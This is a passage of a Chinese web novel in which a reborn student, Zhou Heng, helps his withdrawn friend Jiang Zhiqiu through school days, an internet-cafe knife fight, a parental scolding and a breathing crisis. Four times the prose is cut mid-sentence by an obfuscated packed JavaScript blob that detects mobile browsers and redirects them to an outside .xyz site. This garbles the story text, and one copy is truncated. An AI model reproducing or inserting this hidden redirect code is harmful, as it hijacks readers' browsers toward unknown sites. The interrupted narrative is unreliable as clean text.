闹铃响了又停,啾啾在江知秋胸口伸了个懒腰,见他还没醒,爬到他脸上趴着,呼噜呼噜一直响,江知秋终于睁开眼,盯着天花板缓神,一只小猫脑袋转过来瞅着他,“喵。” 江知秋揉了下它的脑袋才起来。 床离地面有点高,啾啾太小一只,不敢往下面跳,江知秋离开后它急得在床边来回打转,江知秋又折回来将它放到地上,出去洗漱。 陈雪兰看到小猫咪咪喵喵跟在江知秋脚跟后,笑着抱起猫摸摸它干瘪的小肚皮,“饿了呀宝贝儿?” “喵。”啾啾仰头对她喵喵叫。 “这么小能吃什么。”陈雪兰只养过江知秋没养过猫,有些为难,又对江知秋说,“早饭好了,收拾好了就来吃饭。” “好。”江知秋含含糊糊叼着牙刷。 陈雪兰带啾啾走了,江知秋洗完脸后对着水龙头涌出来的水柱走了会神,突然抬手将热水调成冷水,冷水的水流明显比热水更大,重重砸在洗手池池底冷水四溅,晰晰哗哗的声音清晰、连续不断,江知秋看了半分钟才伸手过去。 “今天来这么早?”楼下传来陈雪兰惊讶的询问,周衡的声音跟着响起,“我妈在找猫,我过来来接它回去。” “呀正好,我看猫儿也饿了,一大早就跟着秋儿咪咪喵喵的转,我们这儿没吃的给他,我正打算带它去找你们呢,你带回去吧。” “行。”周衡的声音顿了顿,“秋儿起了没?” “起了,在楼上洗漱。” 江知秋关上水龙头,余光扫见地面有个黑色的影子一闪而过。 江知秋家一共只有两层楼加一个小阁楼,平时他们一家都在一楼做饭吃饭,江渡把早饭从厨房端出来,又把单独蒸的水蒸蛋放江知秋面前。 陈雪兰去了二楼一趟,下楼坐到他们父子俩身边,“家里是不是又藏蟑螂了,我刚在楼上看到个长脚蛛。” “什么蟑螂,说得这么难听,那是我爱宠养的爱宠。”江渡夹了半个咸鸭蛋给她,又说,“中午我去买点药回来。” “行。”陈雪兰笑着转头看向安静的江知秋,看他所有动作都慢慢的,又说,“秋儿这两天跟只树袋熊似的。” 江知秋抬头,陈雪兰被他看得母爱泛滥,怜爱摸他的头,“但是这样也挺可爱的。” 周衡准时出现在院门外,并起两根手指放在眉尾对院子里的陈雪兰和江渡挥了下,接上江知秋走了。 江知秋在后面安安静静,和昨晚梦里那个坐在他车后座一路啾啾啾的江知秋完全不一样,周衡一阵恍惚,忍不住回了下头,看到江知秋倦倦地低着头,深吸了口气,重新转回去看路,心里闷得慌。 两人到的时候已经来了一半同学,教室里都是包子味,零星几个凑在一起低声说着话吃早饭,大部分同学都没从假期的作息里调过来,倒在桌上一通狂睡。 周衡刚翻开书张正就神出鬼没出现在窗边,有人看到了他吓了一跳,连忙捅咕了一下身边的同学,倒了一片的人才三三两两起来。 张正刚来学校就直接到教室来了,身前挎着他的旧胸包,沉着脸进教室巡视一圈,让同学把趴着的人都叫醒,站在讲台上哐哐拍桌,“这才开学第二天,一个个的像什么样!能不能像周衡一样多看看书?周衡都改邪归正了,你们马上高二了没有一点紧迫性?!” “教室是来干什么的?是让你们睡觉的吗?啊?来教室的第一件事不知道是看书学习?” 同学们的目光往周衡身上聚过来,稀奇得跟看外星人似的。 周衡,“……” 伍乐和赵嘉羽老远就听到张正在训人,探头探脑出现在教室后门,“报告。” 张正挥了下手让他们进来,他今天对周衡的自觉是挺满意,把他架在火上烤了之后在教室里转了两圈才走,“课代表管一下早读。” “好。”课代表答应了一声,教室里响起稀稀拉拉的翻书声。 “我靠!”等张正走了之后伍乐才踢了下周衡的凳子,“你中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092332|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邪了周哥?” “滚蛋。”周衡说。 他有自知之明,以他现在的水平他说不定都没这些人考得好,还得抽空复习之前的教材和笔记。 他昨晚翻过他之前的教材,他不是个爱记笔记的,所有笔记本上都只有寥寥几笔。江知秋以前就是个典型的三好学生,在转去七中之前他都是借江知秋的看。 “钱朗说你们晚上要去网吧上网?”伍乐搂着赵嘉羽的肩笑嘻嘻压低声音,“带我和赵嘉羽一个。” 钱朗敏觉转头,“?” 今晚很有可能会起冲突,周衡还在犹豫要不要带江知秋一起去,他想让江知秋亲眼看到这一世的改变,亲自参与比苍白的语言更有冲击力,但他又担心到时候场面乱起来伤到他,周衡微不可见皱了下眉,目光落在江知秋的侧脸,很快点头,“把费阳也带上。” 伍乐说,“怎么可能少得了他,他昨天中午就嚷着要去了。”要不是时间太短,他们真去了。 钱朗竖着耳朵听了半晌,终于听明白他们在说什么,“江知秋去吗?” 江知秋听到自己的名字看了他们一眼,周衡替他说,“去。” “行。”钱朗意料之中。 张正幽灵似地又出现在窗口那儿,恨铁不成钢晃着食指点周衡,“我刚才夸过你。” 周衡,“……” 几人老实了。 张正进来在他们身边站了好几分钟才走,几个人鹌鹑似地看书。 教室的人越来越多,周衡忽然闻到一股柠檬的酸味,闻着味道看过去,是班长高远偷偷带了柠檬。 高远今天起晚了,只能把柠檬带到教室切片泡水,他周围的同学都等着要柠檬。 周衡看了眼在睡觉的江知秋,叫了声高远,“给我来一小块。” 高远对他比了个ok,很快切了块柠檬给他。 柠檬很新鲜,闻着味道就被刺激得疯狂分泌口水。周衡闻了一下就拿远了,使坏递到江知秋嘴边稍微用了点力捏,汁水准确落到江知秋唇上。 周衡看到江知秋下意识舔了下唇缝,然后很小声的,“呸。” 9.第 9 章 两节早读有科任老师来守,一般张正都不会来,但第二节早读快结束的时候张正又来了一趟,叫江知秋跟他去办公室。 办公室还有两三个老师在,听到他们进来的动静抬头看了眼。 “今天感觉怎么样?”张正的办公位靠窗,他扶着办公桌坐下来,问江知秋,“身体还是很不舒服?” 江知秋点头。 “实在坚持不下去就让你爸妈给你请假两天在家好好休息,身体好了再来。”张正安慰他说,“现在也才刚开学,耽搁不了多少课,回来让周衡给你补补课就行,你聪明,不会跟不上。” 周衡有是非观,在这点上,江知秋要是不在不用其他人提醒,他自己就能老老实实上课一段时间。 张正余光突然扫到窗上倒映着一个鬼鬼祟祟的影子,冷不丁拉开窗,把贴在墙根偷听的周衡被抓了个正着,他瞪了眼周衡,“你在这儿干什么,下早读了?” 不远处走廊传来朗朗读书声,但张正刚说完就打了下课铃。 周衡等打完下课铃之后才一派坦然、理直气壮,“下了。” “……”张正看到他就觉得糟心,转头对江知秋说,“我说的你好好考虑一下,回去准备上课吧。” “说了什么?”周衡插进来,但没人搭理他。 张正摆了下手让江知秋回去,周衡被晾在一边也不尴尬,等江知秋出来之后才勾着他的脖子问,“老张给你说了什么?” 张正说了好长一段话,江知秋想了想,摇头。 也不知道是懒得说还是刚才他现在脑子不够用听得脑子打结压根没听懂。 周衡在江知秋跟张正走了之后就不放心跟着出来了,但没听到什么就被张正抓包,扶着江知秋的肩一起回教室。 晚上晚自习被英语老师拖了会堂,王萧出现在教室后门探了下头,见向雪抬头看过来,呲溜一下跑了。 “明天早读听写今天学的单词和短句,先下课吧,课代表跟我来一趟。”向雪终于大发慈悲放了他们,踩着高跟一路哒哒哒走了。 几人还在收拾东西,出去的时候王萧还在走廊跟其他人说话,见到他们出来才过来,跟他们一起去网吧。 小地方的网吧一般不怎么正规,从来没听说过要什么身份证才能上网的规定,只要没穿校服网吧老板就能睁一只眼闭一只眼放他们进去。 周衡提前给他和江知秋的爸妈发了消息说了要晚点回去,几个家长也没起疑。 小网吧有些破旧,灯光暗,只有电脑屏幕是亮的,狭窄的空间里噼里啪啦快速敲键盘和打游戏的叫骂声交错,空气里充斥着难闻的烟味和泡面味,几个人经常来网吧的都习惯了,江知秋有些不适皱了下眉。 “这还有几个位置。”费阳找了个角落的位置叫他们过去,两排面对面的四个空位,他们七个人,刚好剩一个。 这个位置位置非常好,既靠网吧后门,又可以看到前面,要是有老师来抓人他们可以直接从后门跑。 大家坐下来马上开了台机子,“打什么?” “想玩吗?”周衡转头问江知秋。 江知秋摇头。 “那你看喜羊羊。”周衡把耳机挂他脑袋上。 “……” 费阳登上社交软件和朋友聊天,手上噼里啪啦敲着键盘,脑袋转过去想问周衡想打什么,瞥过去的瞬间愣了愣,“我靠!” “怎么了?”钱朗从对面抬起头看他们。 费阳指着周衡的电脑屏幕,“我操不是你有病吧哥们?你到网吧来看网课?” 周衡刚从网上找到蓉城七中老师录的网课,他来网吧的目的不是打游戏,正打算边听网课边等,瞥他一眼。 “哥们说真的我真要撒糯米了。”费阳牙疼说,“这他妈不像你啊。” “……” “打你的游戏,”周衡说,“没时间了。” “?” 费阳没听懂,“打什么哑谜呢。” 周衡和江知秋不打,赵嘉羽也不来,剩下的四个人刚好组队。 赵嘉羽目光突然越过电脑看了眼周衡。 周衡听到消息提示音,打开聊天框看到赵嘉羽给他扣了个问号。 周衡扣了回去:? 对面噼里啪里一阵敲键盘。 赵嘉羽:这两天你和江知秋怎么了? 周衡:什么怎么了? 赵嘉羽:装什么傻。 赵嘉羽:这两天你俩对我和乐乐爱答不理的,我俩惹你们了? 周衡顿了顿:没有,别多想。 江知秋还是个人机状态,连他都不愿意多搭理,而他确实不太愿意搭理这两个人,江知秋后来变成那样有一部分是他们的原因,周衡很难不迁怒现在的他们,但目前江知秋的事更紧急,周衡将其他事都压到后面,先解决江知秋的事。 伍乐大大咧咧的,赵嘉羽比他敏锐,察觉出周衡对他们态度的变化。 见他不愿意多说,赵嘉羽:行。 江知秋脸埋在臂弯,戴着头戴式耳机听歌,周衡看了他一眼,心不在焉看网课。 网吧里来来去去了几波人,没有安静的时候。原本费阳几人还在提心吊胆怕张正来抓人,但一直风平浪静,几人渐渐放下了警惕。 过了将近一个小时,趁新的一局还没开始,王萧和钱朗挤出去买水,隔壁不远的座位突然一阵骚动。 费阳和伍乐戴着耳机连麦在盘刚才那一局,没注意到那边的动静。周衡暂停了网课,推开耳机歪头看了一会。 网吧不知道什么时候进来了几个流里流气的小混混,和两个男同学起了冲突。领头的那个小混混冷笑抓着其中一个学生的头发,“老子的女人你也敢动?” “你他妈神经病吧!”那两个男同学显然也不是逆来顺受的主,好好打着游戏被人找茬也起了火。 “……” 周衡彻底放心。他原本已经做好了今晚等不到,打算接下来几天都来试试运气的准备,没想到今天就碰上了。 江知秋的耳机突然被人拿走,他有些茫然睁开眼,周衡揉了下他的头发,“别睡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105185|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “怎么了?”费阳和伍乐终于发现不对劲,摘了耳机看过去。 这些混混身上揣了刀,周衡没打算空着手去掺和,起身让费阳坐过来,提醒他,“你们好好看着秋儿,别过去掺和。” “知道。”费阳说,他们都不认识那几个人,不至于没弄清情况就路见不平拔刀相助。见周衡起来,他有些疑惑,“你去哪儿?” “找个东西。”周衡又说,“看着秋儿。” “ok。”费阳摆了下手,看着周衡消失在人群中。 那边冲突越来越大,已经要打起来了,有人认出了这几个混混,都怕引火上身连忙给他们让开了一圈,费阳抻着脖子看,直到听到一句中气十足的,“你们在干什么!” “我曹尼玛!”混混大骂一句,场面瞬间乱起来。 网吧光线本来就暗,打起来后非常容易敌我不分,江知秋被费阳从座位上拉起来,“到那边去,秋儿。” 两人避到伍乐和赵嘉羽那边,钱朗和王萧买完水回来发现过不来了,在不远处和他们面面相觑,昏暗的光线、混乱的场面根本什么都看不清,打架的和拉架的都混在一起,几人在其中看到一个胖胖的身影。 “我操,那个胖子怎么这么眼熟。”伍乐转头和费阳说话。 费阳拧着眉看了会,没认出来,赵嘉羽冷不丁说,“像老张。” 费阳,“还真踏马像老张!” “卧槽有刀!”突然不知道是谁喊了声,原本在不远处看热闹的人都往外扩。 费阳立马说,“你俩看着秋儿,我过去看看。” “我也去。”伍乐马上说。 费阳说,“留个人看着秋儿。” 两人还没过去,那边突然“哐咚”一声巨响,持刀的那个混混被人用防爆叉叉在地上,张正用力踢掉他手上的刀,招呼几个人把这几个混混都压起来送警察局。 “诶?”费阳挠挠头,转头和他们说话,“好像解决了?” “没事吧?”周衡出了一身汗,拎着防爆叉挤出人群过来,“秋儿?” 江知秋摇头。 “我操,原来是你小子把人叉地上了。”费阳说,“我说你刚才干嘛去了。你知道他们身上有刀?” “猜的。”周衡把防爆叉丢给他,这把防爆叉是学校门卫处才拿到的,这两天放学他从门卫处经过看到过几次,正好这个网吧离门卫处不远,他跑回去偷偷拿过来了,刚好在那个混混动手前赶上了。 三人说话的时候江知秋一直看着张正的方向。 周衡顾不得和他说什么,趁费阳三人打量防爆叉的时候周衡牵着江知秋去座位上拿包,打算趁张正还没发现他们的时候赶紧溜。 临走之前,他转头提醒费阳三人,“老张马上过来抓人了,赶紧走。” “我操!监管真来了。”费阳赶紧去拿东西。 然而几人还没走到网吧后门,张正阴恻恻的声音在背后响起,“去哪儿啊,周衡,江知秋,费阳,伍乐,赵嘉羽。” “……” 10.第 10 章 七个人,再加上当时所有在网吧的温中学生,无一幸免,全都被提溜回学校通知家长领人。 江渡和陈雪兰接到张正电话的时候还觉得稀奇,江知秋长这么大还是第一次因为这种事请家长,夫妻俩一起来了。林蕙兰看他们夫妻俩都去了,于是也叫上了丈夫周承。 林蕙兰给周衡留了点面子没在众人面前发作,挽着陈雪兰的手聊天,“咱们两家也有段时间没像现在这样好好散散步了。” “可不是嘛。”陈雪兰捂嘴笑着说 ,“今天是托衡儿和秋儿的福了。” 周衡推着单车时不时看一眼江知秋,四位长辈走在他们前面,直到到家,他也没找到机会和江知秋聊聊刚才的事。 两家人在江家的院子前分手。 江渡关上院门,陈雪兰挽着江知秋的手先进屋,“爸爸下午烤了点小蛋糕,要不要吃点?” 江知秋点头,“好。” 江渡拎着儿子的书包慢悠悠跟上来,“正好还能庆祝一下我们秋儿长这么大终于也叛逆一回了。” 陈雪兰一直笑,“哈哈哈哈,是该庆祝一下。” “走吧,回去。”林蕙兰脸上的笑意还没散去,扫了眼身后的周衡。 周衡被看得一激灵,后背徒然升起一股不妙感。 他没去七中林蕙兰和周承一直忍着没找他表演混合双打,但估计他今晚就有点悬了。 “我上楼看网课去了。”进门后,周衡马上要脚底抹油开溜。 周承被妻子使了个眼色,一把拎住儿子的后衣领。 周承和林蕙兰都高,周衡虽然以后青出于蓝而胜于蓝,但现在他才十七,父亲还是比他高点。然而他比泥鳅还滑手,周承刚抓住他他就滑不溜啾从手里溜走了。 周家一顿鸡飞狗跳。 “狗东西!你自己去网吧就算了,还敢把秋儿带去!”林蕙兰和周承一起都没抓住周衡,楼上啾啾听到下面的动静一直在喵喵叫,林蕙兰累得气喘吁吁叉着腰,举着衣架指着周衡骂道,“网吧那么乱,要是今晚你和秋儿出了点事该怎么办?你要吓死我和你爸还有你江叔雪姨吗啊?!看我今天抽不死你!” “哪有骂自己亲儿子是狗的?”周衡警惕站在对角,“现在这不没事吗?以后不去了。” “你看我们信不信!” 周承拎着皮带,“你小子上次也这么跟我和你妈保证的!” 周衡摸了摸鼻子。 又说,“我去网吧没打游戏,我是在看七中的网课。不信你们问秋儿。” “你说什么秋儿当然也说什么,他什么时候不帮你说话了?”周承说,“家里没电脑给你看网课?” “……” “钱花了人也找了,结果你说不去七中,信誓旦旦跟我们保证能考到680分,我们都当你真改性了,都依你,我们也不要求你真能考到680分,至少能上620就行,结果你还是这样,死性不改!”周承说,“能不能好好学?” 周衡沉默了片刻。 不怪周承不相信他,温中历年高考考到600分以上的人数都寥寥无几,680分简直是天方夜谭。周衡上辈子高考差两分700,重生后为了稳妥压低了一些。 虽然最后考不到周承和林蕙兰也拿他没办法,只要高考能考上就行,但是。 “我真能考。”周衡说。 · 虽然周衡去了网吧,但他又见义勇为帮忙制住了小混混,张正奖惩分明,罚了他写检讨,又去学校给他申请见义勇为奖,虽然除了加操行分没什么用。剩下的几个人包括江知秋在内都被罚了写检讨,原本是让他们都在第二天大课间当众做检讨,但人太多,张正直接抓了周衡和赵嘉羽作典型,代表所有人去做检讨。 昨晚回家路上周衡找机会跟江知秋说了他来写检讨,熬了个大夜在网上抄了两份,早上来接江知秋上学的时候把检讨塞他书包。 今天天气不好,从凌晨就开始下雨,到早上的时候还飘着濛濛细雨。 周衡没骑车,打了把黑伞走路来接江知秋。 他手机昨晚就被没收了,直到现在才见到江知秋。 走出一段距离之后周衡摸江知秋垂在身侧的手,“冷吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111198|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江知秋一直都有点气血不足,就算是夏天手也是凉的,这会手冰冷,周衡自然而然地把他的手揣进自己衣兜里捂着。 六点十几分的温泉镇安静祥和,天色微亮,烟雨濛濛,春雨无声,路上只有周衡和江知秋轻轻的脚步声。 “昨晚我有点事,没把啾啾给你送过来,今晚给你送过来陪你?”周衡观察江知秋的表情。 江知秋轻轻“嗯”了声,周衡眉梢微动,突然听到一声“咔哒”,低头看到是江知秋没注意踩到了块不平的青石板,下面的积水溅出来弄脏了他的小白鞋。 “拿着。”周衡拉着他找了个干净的地方,将伞递给他之前问了句,“能拿好吗?” 江知秋点点头。 周衡这才将伞交给他,抽了张纸蹲下来帮他擦鞋上的污点,又试探说,“昨晚好险,老张差点就伤到肾了,他这个年纪伤到这儿就得提前退休了吧。是不是,秋儿?” 江知秋没有回答。 周衡动作微顿,慢慢抬起头。 江知秋仰头看着微白的天色,抬着手,苍白柔软的指尖悄无声息接住了从天空飘下来的丝丝细雨,侧脸分外柔弱。 不知道是不是周衡的错觉,面前的江知秋看起来似乎没那么钝了。 江知秋捻了下手指。 冷的。 那种被隔膜裹住的厚重感好像在慢慢褪去。 江知秋后知后觉周衡在说话,低下头,“你说什么?” 周衡喉结轻微动了动,看着他的脸慢慢开口,“我说,昨晚老张没受伤,他这次没事,和以前不一样了。对不对?” “……” 周衡看到江知秋轻轻拧起了眉。 江知秋拼凑起了一些画面。 “不一样了。”江知秋轻声说,“为什么?” 周衡很难形容他听到这句话的心情,有些松了口气,却又很矛盾变得更忐忑。 “你觉得呢,”周衡缓缓起身,扫了眼四周没找到垃圾桶,拿了张干净的纸把脏纸团包起来揣进兜里,慢慢引导他思考,“为什么不一样,秋儿?” 11.第 11 章 为什么不一样了。 江知秋在想这个问题,没想出个所以然,却忽然起了风。 冷风灌进衣领,微凉的雨丝被风裹挟扑到脸上,江知秋被冷得打了个哆嗦。但在这一瞬间,他似乎听到了雨丝落在伞面发出的细微沙沙声。 这么小的雨落下来,无论如何也不应该被捕捉到声音,但很奇怪,江知秋就是听到了,非常细微,却十分清晰、缠绵的雨声。 就像这些日子以来的浑浑噩噩短暂被人揭开了一点,那层将他和这个世界隔离开的厚膜消失,初春料峭的寒意一把将他扯入真实、清醒的世界,江知秋瞳孔微微收缩,目光从巷子两边青灰色的屋檐慢慢移动到周衡脸上。 但这种感觉转瞬即逝。 江知秋皱着眉,除了他自己,没有人知道他内心的变化。 周衡将他表情所有的变化收入眼底,察觉出他刚才的松动。 虽然只动嘴皮没用,毕竟要是管用江知秋现在早就恢复了,但也并不是完全没用,周衡的目的也并非要江知秋原地恢复,只要能撬动他的壳,埋下能让他意识到这一世不一样的种子就算达到了目的。 “想不出来就先别想了。”周衡有的是耐心,见好就收,揉了下他的头发,顺手从他手里接过伞,将他又被冻得冰凉的手揣进衣兜,语气轻快,“快迟到了,走吧。今天要是迟到咱爸妈真得把我皮给扒了。” 江知秋被他牵着走,脚下偶尔踩到不平的青石板发出沉闷的“咔哒”声。 走出这一段青石板路就是柏油路,“咔哒”声消失了。 他们今天到得晚,周衡收了伞挂在教室外晾着,进去的时候看到费阳、钱朗和伍乐埋在桌上奋笔疾书,江知秋刚要从费阳横在过道的腿上迈过去,周衡将他拉到身后,走到前面踢了脚费阳,“好狗不挡道。” “靠。”费阳吃痛收腿,“怎么这会儿才到,你俩检讨写了?” “写了。”周衡说。 “秋儿写了我信,你?”费阳扶着江知秋的桌子啧啧摇头,“狗都不信。” “你不是就不信。”周衡说,拿了水卡去前面接水。 “……草。”费阳等他走之后才反应过来这姓周的在骂他,骂骂咧咧转过来对江知秋招手,“秋儿把你写的给我抄抄。” 他桌上摆了几份检讨书,显然在江知秋和周衡来之前当裁缝。 教室今天格外闹哄哄,江知秋默默注视教室的场景,听到费阳的话他才看过来,把周衡之前塞给他的检讨书给他。 费阳拿着检讨书就开始激情创作。 周衡接完水转身就看见江知秋眼睛在到处乱转,站着看了两分钟,直到向雪拎着包进来疑惑问他,“上早读了,你还站在这干什么?” “没事。”周衡回过神,在向雪的注视下回去,将装满热水的保温杯放江知秋桌上,赵嘉羽抬头看他一眼,低头继续背单词,他身边的伍乐还在埋头狂写,没发现他们之间的不对劲。 周衡看了眼费阳摆满检讨的桌子,转头问江知秋,“检讨给费阳了?” 江知秋目光转到他脸上,“嗯。” “给他干什么。”周衡啧了声。 费阳头也不回地对他比了个中指。 向雪朝他们这个方向看了眼,拿起张正挂在墙上的三角板用了拍了两下讲台,等教室安静下去后才意有所指开口,“把无关的东西都收下去,再看到就直接没收了,别怪我没提醒你们。下课前十五分钟听写,这会先齐读,困了的同学自己站起来,齐读结束后就自己背单词,课代表来领读。” 课代表刘心月站起来开始领读。 向雪在过道踱步,费阳只好抽出英语书跟着读。 江知秋今早到现在还没趴下去睡觉,周衡时不时留神看他一眼,突然听到头顶有风声,眼皮一跳,来不及躲,头顶哐的一下,他捂着脑袋转头,看到英语老师站在他身边。 向雪冷冷收起书,“江知秋脸上有字?” 周衡余光瞥到江知秋偏头朝他们看过来,但没回头,抬手做了个投降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120940|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手势,老老实实跟着齐读,向雪低头看了他两分钟才走。 费阳趁向雪背对着他们贼兮兮地偷偷转头朝他笑。 周衡踹了他屁股一脚。 “草。”费阳低骂了句,拍了下屁股。 听写单词的时候向雪经过江知秋座位的时候看到他空白的听写本,皱了下眉,但没开口。 早上没张正的课,两节早读都没见到他的影子。 第一节早读下课有三十分钟吃早饭的时间,赵嘉羽跟伍乐和钱朗去食堂买早饭,费阳将检讨放到江知秋桌上反坐着又开始当裁缝,写了会儿咔咔捏酸疼的指关节,“我操,写得手疼,老张也太狠了,罚这么多。” “谁让你昨晚偷懒不写。”周衡翻开化学书。 “昨晚回去看了场男女混合双打,哪儿有时间写。”费阳说,“我爸还好意思说我不好好读书呢,他以前高中的时候逃课跑到悬崖下面的山洞跟别人打牌,打急眼了把人门牙打掉了,现在人家有一颗门牙都是补的,这事儿我能笑话他一辈子。” “你和秋儿咋样?秋儿肯定没被训,你呢?怎么回去就失联了?” 他们几个被领回去无一幸免都被训了一顿。 “手机和电脑都被没收了。”周衡说,“立正挨打让我家老头子和老太太出了顿气。” “牛逼,还立正挨打,昨晚我就差上房顶了……主要是昨晚露了刀子,要不是你拿了防爆叉估计昨晚就见血了,老张又冲在前面,我差点就上去了,我妈都吓坏了。” 江知秋一直安静听着他们对话,听到这句话的时候转头看了眼周衡,周衡几乎瞬间就捕捉到他的视线看过来,两人目光交错。 还剩最后一小半,费阳丢开笔蹦起身蹿去厕所解燃眉之急。 “怎么了?”周衡说,“今天早上怎么不睡了?” 江知秋却答非所问,“你为什么在这儿。” 周衡微微一愣,反应过来他什么意思之后有些好笑,“这么久了,才想起这么一句啊?” 12.第 12 章 从早上到教室开始,江知秋一直在观察。 周衡重生回来后意识到他不对劲就在努力让他感受这个世界的真实,直到张正出事这个节点发生改变,江知秋从眩晕和失重的泥淖中艰难挣扎出来了一点,虽然还没有完全脱离,迟钝的大脑依旧没想明白走马灯为什么会和他记忆里的走向不一样,但他终于开始慢慢接收信息。 他开始意识到了不对劲。 而周衡还在温中这件事本身就很不对劲。 周衡原本已经做好了长期的准备,没想到江知秋竟然这么快就能反应过来,意外之喜。 费阳和伍乐在一旁听得一头雾水,问江知秋,“他不在这,那应该在哪儿?” 周衡无声勾了下唇角,坐下来拍开伍乐放在江知秋椅背的手自己搭上去,放柔声音跟着问,“秋儿,我不在这儿应该在哪里?” 七中。 他记忆中的周衡现在应该在七中。 江知秋在心里回答,眼睛依旧看着周衡,眩晕和失重这个时候似乎都有加重的迹象,他有点呼吸不过来,撑着脑袋微微张着嘴喘息,脸色苍白了许多,身体微微摇晃。 周衡眉心微皱,看出他的不适立马停止了这个话题,不动声色转移话题,“我回来的时候雨好像下大了。” 费阳和伍乐闻言看向窗外,外面的天黑压压的,看起来情况不是很好,“下午还有体育课,希望雨能停。” “靠,这个学期第一节体育课要是下雨也太倒霉,要是上自习肯定会被老张占。” 伍乐转头看到江知秋这副模样,“秋儿脸怎么这么白,咋了?不舒服还是又低血糖了?” 费阳回头吓了一跳,江知秋的脸色白得跟鬼一样,立马转回身掏桌肚。 江知秋双眼紧闭,陷入快速坠落的幻觉,费阳和伍乐的交谈声变成窸窸窣窣的背景音,他有些无法分清幻觉和现实,不知道陷入了这个状态多久,直到手背传来温暖的触感,他才慢半拍睁开眼,看到周衡握着他的手,伍乐也低头关切看着他,费阳不知道从哪儿找到颗糖剥开了塞到他嘴边,“快吃点。” 周围好几个同学发现他们这里不对劲,都有些好奇围过来,“这是怎么了?” “低血糖?” “我靠江知秋脸色好吓人。” 人太多,围得太近,让原本就有些呼吸不过来的江知秋感觉空气更稀薄,不得不反握住周衡的手张开嘴大口呼吸,“周……” 周衡立刻看出了他的问题。 人群看到他这副模样顿时有些慌乱,钱朗说,“这不是低血糖吧我靠?” 高远作为班长立马说,“这么严重,我去找老张过来。” “不用,我带他出去透透气。”周衡立刻半搂半抱起江知秋往教室外走,没等费阳他们跟上去,他路过一个空座位的时候顺手抄起椅子,回头丢下一句,“都别跟上来。” “……?”费阳和伍乐动作顿住,江知秋从病好了之后就对一切都淡淡的,这是他第一次反应这么大,还表现得这么不好,两人互视了一眼,虽然没跟出去,但还是走到窗边对外张望。 周衡找了个空地方让江知秋坐下来,蹲下来避免挡了他的空气,捧住他的手缓声安抚,让他好好呼吸,“慢点秋儿,现在除了我没人在,空气很足够,慢慢来。” 教室外的空气比里面更冷冽,冰冷的雨丝被风吹进走廊,夹杂在风中扑到江知秋脸上,江知秋好一会才缓过来,呼吸不再那么吓人,他没睁眼,脸色依旧白得可怕。 周衡握紧他的手,余光扫到什么,抬头果然看到走廊窗边挂着好几个人,前后门都有人在看着他们,顿了顿,重新将目光放到江知秋脸上。 江知秋眼睫在轻轻颤抖,突然弯下腰干呕。 周衡轻轻拍着他的肩,眉头紧蹙。 他刚觉得江知秋现在已经开始意识到不对劲是件好事,现实就给了他重重一耳光。 才刚开始江知秋反应就这么大,他有点不知道该不该继续下去。 ……一切都没有江知秋重要。 江知秋什么都没吐出来,好一会儿才缓过来,直起来靠着椅背,周衡进教室接了点水回来,看到江知秋已经睁开眼,看着他。 周衡立刻弯起唇,拧开保温杯给他倒水,“喝点水?” “嗯。”虽然依旧有点呼吸不上来的感觉,但好在已经适应,江知秋转开目光看向走廊外的天空,手上被塞进来一杯热水,他慢慢喝了两口,将眩晕带来的反胃压了下去。 冷风灌过走廊时不时发出呜呜的尖啸声,江知秋微微抬着眼,发丝被走廊流动的风拂动,天光映在脸上,眼瞳呈现浅浅的琥珀色。 “这是怎么了?” 江知秋循声望过去,周衡一顿,跟着他的动作抬头,看到庄莹拿着物理书和物理老师讲课用的小蜜蜂疑惑看着他们。 “没什么。”周衡说。 “好吧。”庄莹大大方方把书和小蜜蜂一起给他,“刚才我去办公室听到你们语文老师下节课有事和物理换了节课,老王让我把东西送你们教室,诺。” 庄莹对他没意思,也没把之前传的那些风言风语放心上,开学两次遇到他都没忸怩和刻意避嫌。 周衡抬手接过东西,“谢了。” “顺手的事儿。”庄莹说,“那我走了。” 周衡点头,低头发现江知秋还看着庄莹,将他的脸扶回来,问他,“在看什么?” 江知秋垂着眼眸,片刻后轻轻摇了下头。 周衡捏了下他的脸。 